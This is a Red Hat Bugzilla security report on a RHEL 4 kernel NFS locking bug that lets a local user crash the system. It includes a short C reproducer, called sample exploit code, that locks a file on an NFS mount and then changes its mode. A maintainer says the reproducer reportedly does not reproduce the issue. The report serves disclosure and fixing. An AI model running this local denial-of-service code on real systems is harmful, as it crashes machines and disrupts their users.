Bug 232267
| Summary: | kernel BUG at fs/locks.c:1799 - local DoS | ||
|---|---|---|---|
| Product: | Red Hat Enterprise Linux 4 | Reporter: | Jussi-Pekka Hamalainen <jussi-pekka.hamalainen> |
| Component: | kernel | Assignee: | Jeff Layton <jlayton> |
| Status: | CLOSED DUPLICATE | QA Contact: | Martin Jenner <mjenner> |
| Severity: | medium | Docs Contact: | |
| Priority: | medium | ||
| Version: | 4.3 | CC: | security-response-team, staubach, steved |
| Target Milestone: | --- | Keywords: | Security |
| Target Release: | --- | ||
| Hardware: | All | ||
| OS: | Linux | ||
| Whiteboard: | impact=moderate,source=bugzilla,reported=20070314,public=20070626 | ||
| Fixed In Version: | Doc Type: | Bug Fix | |
| Doc Text: | Story Points: | --- | |
| Clone Of: | Environment: | ||
| Last Closed: | 2007-06-08 12:45:44 UTC | Type: | --- |
| Regression: | --- | Mount Type: | --- |
| Documentation: | --- | CRM: | |
| Verified Versions: | Category: | --- | |
| oVirt Team: | --- | RHEL 7.3 requirements from Atomic Host: | |
| Cloudforms Team: | --- | Target Upstream Version: | |
| Embargoed: | |||
It's been reported to me that the reproducer posted here does not reproduce this issue. Setting to NEEDINFO until we have some to go on... While there's very little info to go on here, I'm thinking this is probably a dupe of bug #211092. A patch recently went in to fix that bz. Please reopen this bug if this bug turns out to be a different issue. *** This bug has been marked as a duplicate of 211092 *** |
Description of problem: The kernel NFS client has a locking bug which causes the system to crash via a BUG() at fs/locks.c:1799. This bug can be exploited by any local user who as write access to an NFS mount. Mandatory locking on a file on an NFS mount succeeds, but if the file mode is changed while the lock is held, unlocking fails when the file handle is closed. The bug is in fs/nfs/file.c function nfs_lock() and is fixed by the attached patch, which is a partial backport from 2.6.12. Version-Release number of selected component (if applicable): All RHEL kernels based on 2.6.9 up to and including 2.6.9-42.0.10.EL. How reproducible: Sample exploit code is attached below. Steps to Reproduce: #include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int main(int argc, char** argv) { int fd; struct flock lck; fd = open(argv[1], O_RDWR | O_CREAT, 0644); memset(&lck, 0, sizeof(lck)); lck.l_type = F_WRLCK; fcntl(fd, F_SETLK, &lck); fchmod(fd, 00755); close(fd); return 0; } Run this code on a nonexistent file on an NFS mount. Actual results: System immediately crashes with kernel BUG at fs/locks.c:1799 Expected results: A zero byte file is created with mode 0755. Additional info: